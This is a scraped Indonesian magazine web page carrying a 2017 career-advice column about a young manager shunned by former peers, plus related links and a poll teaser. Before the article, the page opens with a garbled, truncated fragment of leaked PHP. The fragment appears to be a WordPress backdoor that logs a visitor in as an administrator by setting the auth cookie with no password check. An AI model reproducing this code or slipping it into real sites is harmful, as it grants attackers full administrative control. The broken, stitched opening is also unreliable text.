user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Career
Risiko Menjadi Manajer Muda

13 Mar 2017


Foto: Fotosearch
 
Saya baru saja diangkat menjadi manajer di usia yang masih sangat muda. Tapi, saya mendapat tekanan dari rekan kerja lainnya yang tadinya selevel dengan saya. Saya jadi dikucilkan dari pergaulan dan juga diremehkan. Apa yang harus saya lakukan?
 
RismaniaBalikpapan
 
Menurut konsultan karier, Hayu Prima Indrastuti, tidak semua orang bisa mendapatkan kesempatan seperti Anda. Hal ini berarti, perusahaan mengakui kemampuan dan kinerja Anda selama ini. Buktikan kepada perusahaan bahwa Anda memang layak diangkat sebagai manajer, tunjukkan kemampuan sebagai pemimpin yang konsisten dalam memberikan arahan kepada bawahan, dan kualitas kerja dalam mengemban tugas dan tanggung jawab baru yang diberikan oleh perusahaan.

Tantangan Anda yang lain adalah menunjukkan kepada rekan kerja yang tadinya selevel, bahwa Anda memang kompeten sebagai manajer dan tetap bisa menjadi teman mereka, meski jabatannya telah berbeda. Jadikan sikap rekan kerja yang negatif menjadi pemicu untuk menunjukkan bahwa Anda memang bisa dan layak diangkat menjadi manajer.

Advertisement
Saat ini mereka sedang berada dalam tahap penyesuaian dengan posisi Anda yang baru. Jangan mudah tersinggung atas sikap ataupun respons dari rekan kerja yang meremehkan bahkan mengucilkan Anda. Tunjukkan kematangan dan kedewasaan diri dalam bersikap dan bertindak, meskipun usia Anda masih sangat muda.

Bersikaplah profesional dan luwes menempatkan diri dalam segala situasi. Tetap menjaga keakraban yang sudah terjalin sebelumnya dengan meluangkan waktu untuk mereka, pro-aktiflah mengajak mereka untuk melakukan kebiasaan yang sebelumnya pernah dilakukan bersama, seperti makan siang bareng atau hang out setelah pulang kerja. Dengan demikian, mereka bisa melihat Anda tidak berubah, meskipun sudah menjadi manajer. (f)

Baca juga:
7 Hal yang Perlu Diketahui Saat Anda Mendapatkan Promosi Jabatan (Part 3)
7 Hal yang Perlu Diketahui Saat Anda Mendapatkan Promosi Jabatan (Part 2)
7 Hal yang Perlu Diketahui Saat Anda Mendapatkan Promosi Jabatan (Part 1)
6 Hal yang Perlu Disiapkan Perusahaan Sebelum Mempromosikan Staf
 

Stephanie Mamonto


Topic

#TipKarier

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?